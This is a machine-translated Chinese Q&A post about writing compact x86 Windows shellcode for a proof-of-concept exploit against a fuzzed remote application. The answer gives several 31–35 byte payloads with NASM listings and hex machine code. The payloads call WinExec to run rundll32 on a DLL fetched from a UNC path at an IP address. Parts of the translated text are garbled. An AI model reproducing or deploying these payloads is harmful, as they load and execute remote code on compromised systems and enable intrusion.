在已知地址重用字符串以节省字节并减小shellcode有效负载的大小



编辑:免责声明 - 这只是出于教育目的,因为我正在尝试在x86 asm中学习shellcoding - 这不是以任何方式编写野外漏洞的帮助请求。


基本上我在这里要求的 - 无论我要求的"为什么"是什么,都是学习如何获取存储在内存中的已知信息,例如:

00xxxxxx    ASCII "some information in ASCII"

并将存储在该地址的信息重新用于我的 asm 代码中。 我会执行 lea eax,[地址]吗? 我已经尝试了很多事情,但没有结果导致存储在该地址空间中的信息按预期显示。


---原始帖子--- 我正在Windows 86位中使用POC shellcode x32 asm。 我已经模糊了一个远程应用程序,并且能够执行代码 - 例如:http://shell-storm.org/shellcode/files/shellcode-482.php

我注意到崩溃后的连接地址(攻击地址)始终位于调试器转储中显示为的相同硬编码地址空间中:

00aabbcc   ASCII "192.168.1.XX."

我想使用上面的 shell-storm cmd.exe shellcode,但不知何故将包含我的 ASCII IP 地址的地址空间传递给它,以便下载/运行 rundll32.exe漏洞。 我将如何引用地址空间(它确实包含空的第一个字节)并将其在x86 asm中传递给cmd.exe?

这只是我用来执行代码的示例。 它也适用于cmd.exe。 基本上在第 4 行和第 5 行,如果您进行十六进制编码,我将"calc.exe"作为 8 个字节的纯文本传递。 我想修改它以基本上执行 rundll32 而不是 calc 或 cmd 其中

rundll32.exe \<HARD CODED ADDRESS REFERENCE HERE>x.dll,0

上面只是我插入我在内存中观察到的硬编码 IP 的地方。

# this is the asm code for launching calc.exe successfully:
#0:  89 e5                   mov    ebp,esp
#2:  55                      push   ebp              ; 4 bytes possibly with low byte = 0?
#3:  89 e5                   mov    ebp,esp
#5:  68 2e 65 78 65          push   0x6578652e       ; ".exe"
#a:  68 63 61 6c 63          push   0x636c6163       ; "calc"
#f:  8d 45 f8                lea    eax,[ebp-0x8]    ; pointer to the string = mov eax, esp
#12: 50                      push   eax
#13: b8 c7 93 c2 77          mov    eax,0x77c293c7    ; kernel32.WinExec
#18: ff d0                   call   eax

在上面的示例截图中,我将如何在第 4-5 行插入位于前面提到的内存地址的 ASCII 值? 这就是我在这里关于x86 asm的问题的真正内容。 我会使用内存吗?嘟嘟? 我是一个新手,绝对不是asm的日常实践者。

在再次查看该问题后,您的实际问题是关于将内容与目标系统中已知地址的运行时变量 C 字符串连接起来。 喜欢sprintf(buf, '\%sx.dll', 0x00xxxxxx).

(实际上事实证明它实际上是一个已知的常量长度和值,您只是试图通过复制它来节省有效负载大小。 更新,请参阅下文,了解在有效负载中对整个字符串进行硬编码的35 字节版本,以及围绕字符串构建\...x.dll字符串而不是复制的31 字节版本

复制少量数据很困难。 x86 指令采用操作码和数据寻址模式(寄存器或存储器)的代码大小,除非具有隐式操作数的指令除外,如stosmovsbpush。 甚至那些仍然使用字节作为操作码。 重复的单字节元素很难利用。 在范围内,如果你有空间编写解压缩程序,你可以包括运行长度编码甚至霍夫曼编码。 但是,当您的数据不比几条指令大多少时,这一切都只是小技巧,就像本答案的最后一部分一样。

但也许有效地硬编码它可以足够小,而无需从已知地址读取 13 字节 IP 地址(这至少需要 7 个字节在寄存器中生成mov eax, imm32/not eax以避免立即产生 0 字节)

在有效负载中对固定字符串进行硬编码的两种方法

在 32 位模式下,重复push imm32将在堆栈上构建任意长度的字符串(当然,顺序相反)。

首先推送异或零寄存器,以获得以 0 结尾的 C 字符串。 您的文字字符串是纯文本,因此我认为没有任何理由担心零字节。 但是,如果您这样做了,请使用填充字符填充并用零寄存器中的字节存储覆盖它。

如果它不是 4 个字节的倍数,您有时可以将扩展到路径中的\\.。 或者使用push imm8作为最后一个字符(您首先推送),也免费推送 3 个字节的零。 (假设您的字符是 1..127,因此符号扩展名产生零而不是 0xFF)。 特别是在这种情况下,WinExec 会在空格上拆分,因此push ' '可以推送空格 + 终止 0 字节。

和/或如果不需要堆栈的 4 字节对齐,请对最后 2 个字节的数据使用 4 字节push word imm16(操作数大小前缀 + 操作码 + 2 字节数据 = 4 字节代码)。

有效负载大小开销为每 4 个字符串字节 1push个操作码字节,加上终止符,字符串大小可能填充到 4 字节的倍数。


另一个主要选项是在有效负载之后将字符串作为文字数据包含在内。

...
jmp  push_string_address
back_from_call:
;; pop  eax      ; or just leave the string address on the stack
...
push_string_address:
call  back_from_call     ; pushes the address of the end of the instruction and jumps
db    "\<HARD CODED ADDRESS REFERENCE HERE>x.dll"    ;, 0
; terminating zero byte in the target system will be there from its strcpy

总开销:2 字节jmp rel8+ 5 字节call rel32。 + 1 字节pop reg如果您确实弹出它,而不是将其作为 32 位调用约定中的 arg 留在堆栈上。

call必须向后,因此 rel32 的高字节是FF的,而不是正位移的00


在 64 位模式下,您可以使用 RIP 相对寻址轻松避免有问题的字节,如果需要,甚至可以避免FF字节。 但是jmp/call实际上仍然更紧凑。


两种方式的比较:

我没有看到你在哪里以 0 终止你的字符串。 在您开始"cmd.exe "示例中,在空间之后尾随垃圾仍将运行cmd.exe但使用 args,直到堆栈上任何地方都有 0 字节。

在这里,传入 EBP 底部的任何非零字节都将紧跟在字符串中的.exe之后。

但是所有带有ebp的东西都是浪费空间。WinExec需要 2 个参数:一个指针和一个整数。 整数显然不在乎它是否超出了作为 GUI 窗口行为代码的范围,因此如果字符串的前 4 个字节也是UINT uCmdShow参数,那就没问题了。 (显然,该函数在读取字符串之前不会使用该 arg 作为暂存空间,或者根本不使用该 arg)。 保存 EBP 的预缓冲区溢出值或设置"堆栈帧"没有任何好处。

字符串完美地分解为 4 字节块 + 一个 1 字节,让我们便宜地获得终止符:
\19|2.16|8.10|.10|x.dl|l

这是 NASM 源,其中'x.dl'是一个 32 位常量,按该顺序在内存中生成字节。 (与MASM不同)。 NASM 仅将反斜杠处理为反引字符串中的 C 样式转义;单引号和双引号是等效的。

;;; NASM syntax (remove the "2 bytes" counts from the start of each line)
BITS 32
2 bytes      push    'l'        ; 'l'
5 bytes      push    'x.dl'
5 bytes      push    '.10'
5 bytes      push    '8.10'
5 bytes      push    '2.16'
5 bytes      push    '\19'
; 27 bytes to construct the string
;; ESP points to the data we just pushed = 0-terminated string
1 byte       push    esp     ; pushes the old value: pointer to the string
b8 c7 93 c2 77          mov    eax,0x77c293c7    ; kernel32.WinExec
ff d0                   call   eax

总计:35 字节,高于(推送)或低于(jmp/调用)

来自nasm -l/dev/stdout foo.asm的 NASM 列表(创建外壳代码的平面二进制文件,准备十六进制转储为 C 字符串)。

1                          bits 32
2                          top:
3 00000000 EB07                jmp  push_string_address
4                          back_from_call:
5                              ;; pop  edi      ; or just leave the string address on the stack
6                                  
7 00000002 B8C793C277          mov    eax,0x77c293c7    ; kernel32.WinExec
8 00000007 FFD0                call   eax
9                                  
10                          push_string_address:
11 00000009 E8F4FFFFFF          call  back_from_call     ; pushes the address of the end of the instruction and jumps
12 0000000E 5C5C3139322E313638-       db    "\192.168.10.10x.dll"    
;, 0
12 00000017 2E31302E31305C782E-
12 00000020 646C6C             
13                              ; terminating zero byte in the target system will be there from the strcpy we overflowed

(00000023 23 size: db $ - top是我包含在底部的一行,让 NASM 为我计算大小:0x23 = 35 字节)

字符串本身需要 21 个字节,但 jmp + 调用需要 7 个字节。 与 6 条push imm指令加上push esp条操作码开销相同。因此,我们正处于盈亏平衡点,使用jmp/call时,更长的字符串会更有效。


替代方法:在固定部分周围构建字符串

如果包含"192.168.10.10"的内存位于可写页面中,我们可以在它之前/之后写入字节以制作我们想要的 C 字符串。

;; build a string around the part we want, version 1 (35 bytes)
string_address equ  0x00abcdef
string_length equ   13              ; strlen("192.168.10.10")
mov  edi,  -(string_address - 2)  ; 5B
neg  edi                          ; 2B  EDI points 2 byte before the existing string
mov  word [edi], '\'             ; 5B  store 2 bytes: prepend \
mov  dword [edi + string_length+2], 'x.d'    ; 7B
push  'l'
pop   eax                                  ; 'l'
mov   ah,al                                ; 2B  copy low byte to 2nd byte
mov  [edi + string_length+2 + 4], eax      ; 3B  append 'll'
;;; append 'x.dll'
push edi
mov    eax,0x77c293c7    ; kernel32.WinExec
call   eax

有趣/令人沮丧的是,这也是 0x23 = 35 字节!!

我觉得应该有一种更有效的方法来写字符串的结尾。 推送/弹出 + MOV 复制低字节感觉很多。

或者我可以将 EAX 中的一个位模式变异为另一个具有 5 字节subxor eax, imm32的位模式。 (没有 ModRM 字节的特殊仅 EAX 编码)。 这可以产生零,而机器代码中没有任何零。

我看到了另一种通过移动 EDI 并利用出现在多个位置的冗余来节省字节的方法,使用stosb/stosd附加 AL 或 EAX。 它节省了24字节。 (请参阅"版本 2"答案的先前版本)

迄今为止最好的:31 字节。 (NASM列表:机器代码+源码)

;; build a string around the part we want, version 3 (31 bytes)
;; Assumes DF=0 when it runs, which is guaranteed by the calling convention
;;    if we got here from a ret in compiler-generated code
1                         bits 32
2                         top:
3                         str_address equ  0x00abcdef
4                         str_length equ   13              ; strlen("192.168.10.10")
5                         
6 00000000 BF133254FF         mov  edi,  -(str_address - 2)     ; 5B
7 00000005 F7DF               neg  edi                          ; 2B  EDI points 2 byte before the existing string
8 00000007 57                 push edi                          ; push function arg now, before modifying EDI
9                         
10 00000008 B85C782E64         mov  eax, 'x.d'                  ; low byte = backslash is reusable
11 0000000D AA                 stosb                             ; 1B   *edi++ = AL   ''
12 0000000E AA                 stosb                             ; 1B   *edi++ = AL   ''
14                          ;;; we've now prepended  ;;; EDI is pointing at the start of the original string
15                         
16 0000000F 83C70D             add   edi, str_length             ; point EDI past the end, where we want to write more
17 00000012 AB                 stosd                             ; 1B   *edi = eax; edi+=4;  append 'x.d'
18 00000013 6A6C               push  'l'
19 00000015 58                 pop   eax                           ; 'l' in a reg, constructed in 3 bytes
20 00000016 AA                 stosb                             ; append 'l'
21 00000017 AB                 stosd                             ; append 'l'
22                          ;;; append 'x.dll'
23                           
24 00000018 B8C793C277         mov    eax,0x77c293c7    ; kernel32.WinExec
25 0000001D FFD0               call   eax

31 字节

(NASM列表生成nasm foo.asm -l/dev/stdout | cut -b -30,$((30+10))-。 您可以去除每行的前 32 个字节以使用<foo.lst cut -b 32- > foo.asm恢复原始源,以便您可以自己组装它。


所有这些都未经测试。 大小计数是正确的(主要来自 NASM 计算它),除了推送版本。

当然,我错过了更多的储蓄空间。

或者可能存在需要额外字节才能修复的错误,或者不同的高尔夫。

进一步的想法:EDI的顶部字节已知为零。 也许在某个时候的 4 字节存储可以得到一个零,然后覆盖之前的字节?

我想知道带有硬编码段描述符的call far ptr16:32(假设我们知道 Windows 使用什么作为cs的用户空间值)是否会小于 mov/call eax? 否:opcode + 4byte absolute addr + 2byte segment= 7 字节,与 5 字节mov+ 2 字节call eax相同,以从未知 EIP 到达绝对地址(所以我们不能使用 5 字节call rel32)。

有关一般代码大小优化的更多想法,请参阅 https://codegolf.stackexchange.com/questions/132981/tips-for-golfing-in-x86-x64-machine-code

相关内容

  • 没有找到相关文章

最新更新